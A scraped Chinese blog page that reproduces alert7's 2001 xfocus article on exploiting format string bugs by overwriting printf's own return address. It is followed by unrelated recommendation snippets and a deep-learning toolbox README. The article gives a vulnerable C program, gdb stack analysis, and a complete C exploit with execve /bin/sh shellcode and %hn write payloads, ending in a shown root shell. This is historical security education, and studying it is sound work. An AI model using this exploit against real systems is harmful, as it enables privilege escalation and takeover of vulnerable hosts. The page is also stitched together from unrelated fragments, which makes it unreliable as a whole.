【分析】利用格式化串覆盖*printf()系列函数本身的返回地址

【pwn学习】格式化字符漏洞 文章目录什么是格式化字符漏洞格式化字符串函数格式化字符串利用泄露内存例题 利用格式化字符串漏洞获取libc基址覆盖内存栈地址覆盖小数覆盖大数覆盖轮子 什么是格式化字符漏洞 格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根据其来解析之后的参数。通俗来说,格式化字符串函数就是将计算机内存中表示的数据转化为我们人类可读的字符串格式。几乎所有的 C/C++ 程序都会利用格式化字符串函数来输出信息,调试程序,或者处理字符串。一般来说,格式化字符串在利用的时候主要分为三个部分。 格式化字符串函 阅读详情

利用格式化串覆盖*printf()系列函数本身的返回地址


创建时间:2001-10-29
文章属性:原创
文章来源: http://www.xfocus.org/
文章提交: alert7 (sztcww_at_sina.com)

利用格式化串覆盖*printf()系列函数本身的返回地址

作者:alert7 <mailto: alert7@netguard.com.cn
                     alert7@xfocus.org
             >

主页:     http://www.netguard.com.cn
     http://www.xfocus.org
    
时间: 2001-10-26

测试环境:linux redhat 6.2 kernel 2.2.14

★ 前言

在scut写的<<Exploiting Format String Vulnerabilities v1.2>>中列出了六种比较
通用的方法来获得控制权:

1. 覆盖GOT
2. 利用DTORS
3. 利用 C library hooks
4. 利用 atexit 结构(静态编译版本才行)
5. 覆盖函数指针
6. 覆盖jmpbuf's

在这里,不想讨论上面这些东西,请自行参考相关资料

但是有些时候,你只能覆盖0xbfff0000-0xbfffffff的地址空间,因为是format string
被程序做了限制,而程序又调用了exit(0),(也许你没有碰到过这样类似的漏洞程序,但我
碰到了,而且比这个要求还更苛刻:( ) 所以利用覆盖GOT、利用DTORS、利用C library hooks
这些技术都行不通了,因为这些地址以0x08打头(C library hooks是0x04打头)。覆盖main
返回地址也不行。那总该覆盖到点什么东西使我们的shellcode得到控制权吧。

★ 覆盖格式化函数自己的返回地址

一般的buffer overflow的情况下,是不可能覆盖到象*printf()这种glibc函数的返回地址的,
但是format string就给了我们机会,而且个人认为精确度会更高。
比如说printf(buf),就利用格式化串的buf来覆盖printf函数的返回地址。


★ 存在格式化字符串问题的程序

[alert7@redhat62 alert7]# cat vul.c

#include <stdio.h>
int main(int argc,char **argv)
{
char buf[10000];
bzero(buf,10000);
if (argc==2) {
strncpy(buf,argv[1],9999);
printf(buf);
}
}
[alert7@redhat62 alert7]# gcc -o vul vul.c -g


★ 精确定位几个数据

一查看垃圾数据个数(以4字节为单位)

[alert7@redhat62 alert7]# ./vul aaaa%p%p%p%p%p%p%p%p%p
aaaa0x616161610x702570250x702570250x702570250x702570250x7025(nil)(nil)(nil)
我们看到没有垃圾数据 X=0;如果不明白怎么回事,请查阅
<<Exploiting Format String Vulnerabilities >>

二查看format string 地址

[alert7@redhat62 alert7]# gdb vul -q
(gdb) disass main
Dump of assembler code for function main:
0x8048438 <main>:       push   %ebp
0x8048439 <main+1>:     mov    %esp,%ebp
0x804843b <main+3>:     sub    $0x2710,%esp
0x8048441 <main+9>:     push   $0x2710
0x8048446 <main+14>:    lea    0xffffd8f0(%ebp),%eax
0x804844c <main+20>:    push   %eax
0x804844d <main+21>:    call   0x8048364 <bzero>
0x8048452 <main+26>:    add    $0x8,%esp
0x8048455 <main+29>:    cmpl   $0x2,0x8(%ebp)
0x8048459 <main+33>:    jne    0x8048487 <main+79>
0x804845b <main+35>:    push   $0x270f
0x8048460 <main+40>:    mov    0xc(%ebp),%eax
0x8048463 <main+43>:    add    $0x4,%eax
0x8048466 <main+46>:    mov    (%eax),%edx
0x8048468 <main+48>:    push   %edx
0x8048469 <main+49>:    lea    0xffffd8f0(%ebp),%eax
0x804846f <main+55>:    push   %eax
0x8048470 <main+56>:    call   0x8048374 <strncpy>
0x8048475 <main+61>:    add    $0xc,%esp
0x8048478 <main+64>:    lea    0xffffd8f0(%ebp),%eax
0x804847e <main+70>:    push   %eax
0x804847f <main+71>:    call   0x8048354 <printf>
0x8048484 <main+76>:    add    $0x4,%esp
0x8048487 <main+79>:    leave
0x8048488 <main+80>:    ret
End of assembler dump.

(gdb) b * 0x804847f
Breakpoint 1 at 0x804847f: file vul.c, line 8.
(gdb) r aaaa
Starting program: /home/alert7/overflow/sploit/vul aaaa

Breakpoint 1, 0x804847f in main (argc=2, argv=0xbffffba4) at vul.c:8
8       printf(buf);

(gdb)  p &buf
$1 = (char (*)[10000]) 0xbfffd468
~~~~~~~~~~~~~~~~~~~~~~~^0xbfffd468 format string addr

(gdb) i reg $eax $esp $ebp
eax            0xbfffd468       -1073752984
esp            0xbfffd464       -1073752988
ebp            0xbffffb78       -1073742984


(gdb) x/8x 0xbfffd450
0xbfffd450:     0xbfffd468      0xbffffb78      0x08048475      0xbfffd468
0xbfffd460:     0xbffffcbf      0xbfffd468      0x61616161      0x00000000

(gdb) si
0x8048354 in printf () at printf.c:26
26      printf.c: No such file or directory.

(gdb) x/8x 0xbfffd450
0xbfffd450:     0xbfffd468      0xbffffb78      0x08048475      0xbfffd468
0xbfffd460:     0x08048484      0xbfffd468      0x61616161      0x00000000
~~~~~~~~~~~~~~~~~^就这个地址,已经变成了0x08048484,就是该printf函数的返回地址,
所以我们也找到了printf函数返回地址存放的地址:0xbfffd460
其实0xbfffd464地址的内容就是push %eax下去的东西
0xbfffd460为该printf上下文的栈帧的EIP存放地址


三 计算printf函数返回地址存放的地址

现在来用公式表达一下printf函数返回地址存放的地址:(format string addr) -(X*4)-8
format string addr是可以暴力猜测的。X更是可以简单的得到,所以这个地址是很精确的。
当然不同的系统不同的格式化串等等都会导致*printf系列函数返回地址存放的地址不一样,需要
自行研究和纠正公式,这里只是个简单的演示,意在抛砖引玉。


★ 看看我们的利用程序

[alert7@redhat62 alert7]# cat exp.c
/*e*/
#include <stdlib.h>                                            
#include <unistd.h>                                            
                                                              
#define DEFAULT_OFFSET                    0                    
#define DEFAULT_ALIGNMENT                 0                    
#define DEFAULT_RETLOC                  0xbfffd468-0*4-8 //F-X*4-8
                          //F为格式化字符串地址
                          //X为垃圾的个数,X*4也就是
                          //从esp到F的长度

#define NOP                            0x90                    

char shellcode[] =                    
   "/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
    "/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
    "/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
    "/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
    "/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
    "/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
    "/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
    "/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
    "/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b"
    "/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd"
    "/x80/xe8/xdc/xff/xff/xff/bin/sh";
                                  
int main(int argc, char *argv[]) {                            
  char *ptr;                                      

  long shell_addr,retloc=DEFAULT_RETLOC;
  int i,SH1,SH2;
  char buf[512];                
  char buf1[5000];

  printf("Using RET location address: 0x%x/n", retloc);
  shell_addr = retloc+80;
  printf("Using Shellcode address: 0x%x/n", shell_addr);
  
SH1 = (shell_addr >> 16) & 0xffff;//SH1=0xbfff
SH2 = (shell_addr >>  0) & 0xffff;//SH2=0xd3a8

ptr = buf;

if ((SH1)<(SH2))
{
       memset(ptr,'B',4);
       ptr += 4 ;
       (*ptr++) =  (retloc+2) & 0xff;
       (*ptr++) = ((retloc+2) >> 8  ) & 0xff ;
       (*ptr++) = ((retloc+2) >> 16 ) & 0xff ;
       (*ptr++) = ((retloc+2) >> 24 ) & 0xff ;
       memset(ptr,'B',4);
       ptr += 4 ;
       (*ptr++) =  (retloc) & 0xff;
       (*ptr++) = ((retloc) >> 8  ) & 0xff ;
       (*ptr++) = ((retloc) >> 16 ) & 0xff ;
       (*ptr++) = ((retloc) >> 24 ) & 0xff ;
      
        sprintf(ptr,"%%%uc%%hn%%%uc%%hn",(SH1-8*2),(SH2-SH1 ));
    /*推荐构造格式化串的时候使用%hn*/
}

if ((SH1 )>(SH2))
{
       memset(ptr,'B',4);
       ptr += 4 ;
       (*ptr++) =  (retloc) & 0xff;
       (*ptr++) = ((retloc) >> 8  ) & 0xff ;
       (*ptr++) = ((retloc) >> 16 ) & 0xff ;
       (*ptr++) = ((retloc) >> 24 ) & 0xff ;
       memset(ptr,'B',4);
       ptr += 4 ;
       (*ptr++) =  (retloc+2) & 0xff;
       (*ptr++) = ((retloc+2) >> 8  ) & 0xff ;
       (*ptr++) = ((retloc+2) >> 16 ) & 0xff ;
       (*ptr++) = ((retloc+2) >> 24 ) & 0xff ;

        sprintf(ptr,"%%%uc%%hn%%%uc%%hn",(SH2-8*2),(SH1-SH2 ));
}
if ((SH1 )==(SH2))
    {
    printf("不能用一个printf实现这种情况/n");
    }
sprintf(buf1,"%s%s",buf,shellcode);
execle("./vul","vul",buf1, NULL,NULL);      
}

[alert7@redhat62 alert7]# gcc -o exp exp.c
[alert7@redhat62 alert7]# ./exp
    ......(省略了一些printf出来的乱信息)
               B隵1繤F
                      ?
                       骎
                         ?圬@丸?/bin/sh[alert7@redhat62 alert7]#
怎么会没有成功呢,我们来看看怎么回事,在vul.c的printf(buf)之前加个sleep(30);
先在一个tty上运行./exp,在另外一个tty上如下操作:
[alert7@redhat62 /alert7]# ps -aux|grep vul
alert7       892  0.3  0.3  1084  296 pts/0    S    10:41   0:00 vul BBBBb?緽BBB`
alert7       895  0.0  0.5  1360  508 pts/3    S    10:42   0:00 grep vul
[alert7@redhat62 alert7]# gdb vul -q
(gdb) attach 892
Attaching to program: /home/alert7/vul, Pid 892
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
0x400a9c61 in __libc_nanosleep () from /lib/libc.so.6
(gdb) b printf
Breakpoint 1 at 0x4006605c: file printf.c, line 30.
(gdb) c
Continuing.

Breakpoint 1, printf (
    format=0xbfffd718 "BBBBb?緽BBB`??49135c%hn%5297c%hn", '/220' <repeats 128
times>, "隲037^/211v/b1繺210F/a/211F/f癨013/211骪215N/b/215V/f蚛2001踈211谸蚛20
0柢"...) at printf.c:30
30      printf.c: No such file or directory.
我们可以看到,用execle出来的format string地址就不是原来的0xbfffd468了,而是现在的
format=0xbfffd718了,所以我们的exploit程序应该修改这个地址。重新编译执行。
[alert7@redhat62 alert7]# ./exp
.....(省略了一些printf出来的乱信息)
B隵1繤F
骎
?圬@蚥ash#
bash# :)OK,成功了!!!

★ 小结

利用格式化串覆盖*printf()系列函数本身的返回地址应该是个很不错的方法,而且在格式串
问题上显的很有优势,精确度更高。
最后,欢迎来email讨论。


参考资料:
<<Exploiting Format String Vulnerabilities >> by scut /team teso
格式化字符串漏洞:从printf原理到CTF实战利用 格式化字符串漏洞是二进制安全领域的经典漏洞类型,其核心源于C语言中printf等格式化输出函数的参数解析机制。当程序将用户输入直接作为格式化字符串参数时,攻击者可通过注入%p、%x等格式说明符,迫使函数从栈或寄存器中读取未预期的数据,实现内存信息泄露。进一步利用%n等特殊格式符,可将已输出字符数写入任意地址,达到内存篡改的目的。这种漏洞在CTF-PWN竞赛中频繁出现,其技术价值在于无需传统缓冲区溢出所需的长度覆盖,仅通过精巧的格式控制即可完成从信息收集到控制流劫持的完整攻击链。在实际应用中,攻击者常通过泄露 阅读详情

相关推荐

CTF PWN入门:格式化字符串漏洞原理与利用实战详解

格式化字符串漏洞是二进制安全领域中的一种经典漏洞类型,其核心源于C语言标准库中printf等函数对用户输入缺乏严格验证的缺陷。当程序将用户可控的数据直接作为格式化字符串参数传递给printf时,攻击者可以通过插入特定的格式说明符(如%p、%s、%n)来读取或篡改栈内存中的数据。这一漏洞的技术价值在于,它能够绕过常规的边界检查,实现信息泄露和任意内存写入,为后续的攻击链(如绕过ASLR、劫持控制流)奠定基础。在CTF竞赛和渗透测试中,格式化字符串漏洞常被用于泄露关键地址(如libc基址、栈地址)以及覆盖关键内

weixin_30363509的博客 436

C语言printf怎么覆盖打印,c语言printf实现同一位置打印输出的实例

控制台同一位置打印输出,例如:进度1%->100%在同一位置显示。刚学习c语言的时候一直想做起来,可惜查询好多资料不行。时隔6年多,空闲之余又想起这个问题,便决定一试,虽然c语言已经几乎忘光了,呵呵。最终还是搞定了,这次运气不错,哈哈! ^_^#include #include //#include //linux for sleep(seconds) and usleep(Microsec...

weixin_42356378的博客 3083

从Web安全到Pwn:格式化字符串漏洞原理与实战利用详解

格式化字符串漏洞是C/C++程序中常见的安全缺陷,源于程序员错误使用printf、sprintf等函数时,将用户输入直接作为格式化字符串参数。其核心原理在于攻击者通过控制格式化字符串,可以读取栈内存中的敏感数据(信息泄露)或向任意内存地址写入数据(任意地址写),这与Web安全中的SQL注入、XSS等漏洞在利用思路上有异曲同工之妙。从技术价值看,该漏洞能绕过多种安全机制,是获取程序控制权(如执行system("/bin/sh"))的关键跳板。在应用场景上,它常见于CTF竞赛、二进制安全评估及遗留系统渗透测试中

weixin_34037173的博客 535

格式化字符串各种泄露覆盖类型 姿势具体讲解

栈上格式化字符串以下题目的条件:RELRO 保护模式不为 FULL RELRO ,GOT表需要可写FULL RELRO当开启这个之后 got表是无法修改的格式化字符串题目: 强网杯(ez_fmt)📎强网先锋 fmt.pdf通过这题还学会了利用 printf函数就是函数本身内部的返回地址,可以通过调试得到通过这道题理清了两个逻辑:这里我们是覆盖让地址的后四位为0x1203 这里传的是0x1203也就是4594+14+3+2 这里的4594就是%4594c 14指的就是%39$p泄露的地址0x7fffffff

m0_74220442的博客 1382

CTF实战:格式化字符串漏洞五大利用手法详解

格式化字符串漏洞是软件安全领域一种经典的漏洞类型,其根源在于程序未对用户输入进行严格校验,直接将其作为格式化字符串参数传递给如`printf`这类函数。攻击者通过精心构造的输入,可以操控格式化字符串的解析过程,实现内存数据的读取与写入。从技术原理上看,这涉及到对函数调用栈布局的深刻理解,以及`%p`、`%s`、`%n`等格式化占位符的灵活运用。其技术价值在于,它提供了一种无需传统缓冲区溢出的内存操作能力,能够绕过栈保护(Canary)等安全机制,在渗透测试和CTF竞赛中具有极高的实战价值。典型的应用场景包括

weixin_33676492的博客 381

pwn做题笔记14-echo_back(printf函数栈详细利用+利用控制scanfIO流实现任意地址写入)

当Linux新建一个进程时,会自动创建3个文件描述符0、1和2,分别对应标准输入、标准输出和错误输出。C库中创建与文件描述符对应的是文件指针scanf读取stdin时依照读文件的方法,内部调用_IO_new_file_underflow函数。而该函数最终调用了_IO_SYSREAD系统调用来读取文件。在调用系统函数前,该函数同时进行了判断处理:根据读取指针的位置和结束位置来判断缓冲区中是否还有可读取的数据。

qq_40923256的博客 793

C语言学习日记(2)——写个Hello,World测试一下

感觉工具已经安装好了,但到底怎么样还要试过才知道。那就写一个经典的Hello,World程序测试一下吧! 首先打开vscode,新建一个文件,输入代码。代码字体颜色全都是白色的,看到状态栏右下角,原来文件格式还是Plain Text,设置一下改为C就可以了。这时候看到还有很多语言可以选择,感觉还不错,怪不得很多人都推荐。 hello,world代码 接下来小猫在D盘根目录下新建一个code的文件夹专门用于存放代码。再将刚才输入的代码保存到这个文件夹。接下来干嘛?是不是可以运行了?点击一下左侧运行按钮

u010340279的博客 9619

C51串口调试:printf函数陷阱与稳健输出实践

在嵌入式系统开发中,串口通信是调试与状态反馈的核心技术,其原理基于异步串行通信协议,通过UART硬件实现数据字节的逐位收发。这项技术的价值在于为资源受限的单片机提供了可靠的人机交互与诊断通道,广泛应用于工业控制、物联网设备及消费电子等场景的固件调试。然而,在经典的8051架构(如C8051F系列)上直接使用标准C库的printf函数进行串口输出时,开发者常会遇到输出乱码、程序卡死或字符丢失等问题,其根源往往在于对底层硬件状态机(如TI发送标志)和编译器库函数实现细节理解不足。本文聚焦于C51平台,深入剖析p

weixin_30376509的博客 988

Linux系统下程序输出覆盖上一行

使用语句 printf("\033[A"); 使光标返回到当前位置的上一行继续输出,但是只能覆盖原有的输出,不能直接清楚,如果上一行已经输出10个字符,想要重新输出3个字符则会覆盖前3个而保留后7个。 ...

qq_18466391的博客 2823

CTF PWN实战:格式化字符串漏洞原理、利用与自动化攻防

格式化字符串漏洞是二进制安全领域中的一种经典内存破坏漏洞,其核心原理源于C语言格式化输出函数(如printf、sprintf)对用户输入缺乏严格校验,错误地将用户可控数据直接作为格式字符串解析。攻击者可通过精心构造的格式符(如%p、%x、%s、%n)实现内存布局探测、敏感信息泄露乃至任意内存读写,从而绕过ASLR等现代防护机制,最终劫持程序执行流。在CTF竞赛与实战攻防中,该漏洞常被用于泄露关键地址、覆盖GOT表项或函数指针,结合pwntools等自动化工具可高效构建利用链。本文以一道典型CTF赛题为例,深

weixin_30629653的博客 344

详解C语言中printf输出的相关函数

主要介绍了C语言中printf输出的相关函数总结,是C语言入门学习中的基础知识,需要的朋友可以参考下

sprintf、vsprintf、sprintf_s、vsprintf_s、_snprintf、_vsnprintf、snprintf、vsnprintf 函数辨析

看了题目中的几个函数名是不是有点头晕?为了防止以后总在这样的细节里纠缠不清,今天我们就来好好地辨析一下这几个函数的异同。 实验环境: Windows下使用VS2017 Linux下使用gcc4.9.4 为了验证函数的安全性我们设计了如下结构 const int len = 4; #pragma pack(push) #pragma pack(1) struct Data { char buf[len]; char guard; Data() { .

2606

面试题-手撕NMS(非极大值抑制)

非极大值抑制(Non-Maximum Suppression,NMS)是一种常用于目标检测和计算机视觉中的算法,用于去除重叠的边界框,保留最可能是真实目标的边界框。其核心就是对一组检测框,找出其中属于同一个类别且分数最高的那个框,然后把和这个框的IOU值大于阈值的那些框都删掉。

zhaoyqcsdn的博客 1109

*printf()格式化串安全漏洞分析(上)

*printf()格式化串安全漏洞分析(上) (转) 测试平台:RedHat 6.1, RedHat 6.2 (Intel i386) 前言: ===== 最近一段时间,一种新的安全漏洞正开始引起人们注意,就是诸多的*printf()函数的格式 化串问题。其实这个问题应该说并不鲜见,只是一直没有人注意它,直到最近才开始进行 一些深入的讨论。格式化串的问题实际上是由于程序员编程时

rheostat的专栏 1万+

无人机避障——Mid360+Fast-lio感知建图+Ego-planner运动规划(胎教级教程)

本工作将 Mid360 激光雷达、Fastlio-SLAM 和 Ego-Planner 集成,实现无人机的环境感知、定位建图和运动规划(仿真过程)—— 胎教级教程。

weixin_45390670的博客 1万+

Python CalmAn(Calcium Imaging Analysis)神经生物学工具包安装及环境配置过程

CalmAn是一个用于大规模钙成像数据分析和行为分析的Python工具箱。CaImAn实施了大规模钙成像数据分析管道中所需的一套基本方法。针对多天的运动校正、源提取、尖峰反褶积和分量配准,实现了快速且可扩展的算法。它适用于双光子和单光子荧光显微镜数据,可以在批处理和在线模式下运行;CaImAn还包含一些分析摄像机行为的例程。

Fine的优快云博客 3559

*printf()格式化串安全漏洞分析(下)

*printf()格式化串安全漏洞分析(下)    测试平台:RedHat 6.1, RedHat 6.2 (Intel i386)(继续)那么让我们来写一个简单的测试程序来看一下:  exp.c#include                                             #include                                         

小发猫 2127

手把手教你用Simulink+CANoe+Carsim搭建硬件在环仿真环境(避坑指南)

本文是一份详细的硬件在环仿真环境搭建指南,重点讲解如何将Simulink、CANoe和CarSim三大工具进行实战融合。内容涵盖软件版本兼容性、授权避坑、环境配置,并分步演示了从离线联合仿真到实现软实时同步的完整流程,旨在帮助汽车电子工程师高效构建稳定的HIL测试平台。

weixin_29092579的博客 407

缓冲区溢出-printf格式化输出漏洞

0x00本文视频:如果文字过于枯燥可观看在线视频:https://edu.51cto.com/sd/165140x01基础知识:在c语言中printf的使用方法为printf(format,<参量表>),printf是c语言中少见的可变参数的库函数,printf在调用前无法知道传入的参数到底有多少个(在32位汇编中参数都是压入栈中,也就是说printf不知...

weixin_34364135的博客 2738

多孔材料吸附性质模拟程序RASPA的离线和在线安装方法

RASPA-2.0是今年美国西北大学教授Randall Q. Snurr等人开发的针对于MC,MD,分子力学优化等用途的程序,相比于之前开发的MUSIC软件,RASPA的功能更加齐全,操作更加简便,可以在MC的吸附过程中考虑骨架的柔性,也可以想MUSIC一样先制作积分格点(music中的map)。 A、离线安装(centos为例): (1)、安装之前要检查一下是否装了automake,

youyno的博客 1万+

DeerFlow 系列教程 第十二篇 | Tools 工具体系——从内置工具到 MCP 扩展

文件此工具允许 Agent 在运行时创建新的自定义 Agent。@toolsoul: str, # SOUL.md 的完整内容description: str, # Agent 的一行描述创建流程从获取agent_name写入配置文件(包含 name 和 description)写入灵魂文件SOUL.md(定义 Agent 的人格和行为)更新中的错误回滚MCP(Model Context Protocol)是一种标准协议,允许 AI Agent 连接外部工具服务器。DeerFlow 通过。

weixin_43674738的博客 181

关于printf函数泄露地址的libc题型

我们在构建ROP链时,应该想我们需要怎样去泄露地址,才能达到我们所希望的程序执行,因为是64位的,我们需要一些 pop|ret 去放我们的参数,printf在执行打印格式化字符串时,有产生一个参数,然后我们还需要一个寄存器,来存放我们got表里所要的真实地址。最后加个main函数,是我们返回到main函数,让程序走一遍,以便我们可以写入接下来的payload去控制程序流。因为这道题,我们首先应该做的是泄露地址,泄露那个地址,我觉得可以是printf或者是read的地址都行,接下来我们就尝试一下吧。

IT_huanhuan的博客 1349

RK356x U-Boot研究所(命令篇)3.10 bidram与sysmem相关命令的作用

RK356x U-Boot研究所(命令篇)3.10 bidram与sysmem相关命令的作用

Systemcall名屋 624

CTF-PWN-printf(实验吧|格式化字符漏洞)

首先运行文件,发现需要输入name,于是打开ida逆向出正确的name,来到了程序主界面。 首先我们先逐一判断函数的用途。put_file是让我们输入文本名称和内容,get_file是让我们输入文本名称,然后程序输出文本内容。show_dir是按照先来后出输出所有的文本名称,并且无缝衔接。 这个时候我们发现get_file函数中显然有一个格式化字符漏洞。 这种漏洞会导致我们可以控制任意内存的...

SuperGate的博客 3422

73、结合无人机进行rk3588oak-lite跟踪目标物体进行识别、跟踪

搭建仿真转换模型环境,主要python版本和我下载的rknn2的版本。截取shape节点,输出模型。so库也要对应转模型的whl。其中安装的whl版本。

sxj731533730 1626

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

c语言缓冲区溢出漏洞PDF,缓冲区溢出-printf格式化输出漏洞

0x00本文视频:如果文字过于枯燥可观看在线视频:https://edu.51cto.com/sd/165140x01基础知识:在c语言中printf的使用方法为printf(format,),printf是c语言中少见的可变参数的库函数,printf在调用前无法知道传入的参数到底有多少个(在32位汇编中参数都是压入栈中,也就是说printf不知到有多少个参数入栈了),例如printf("My n...

weixin_30045751的博客 628

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); 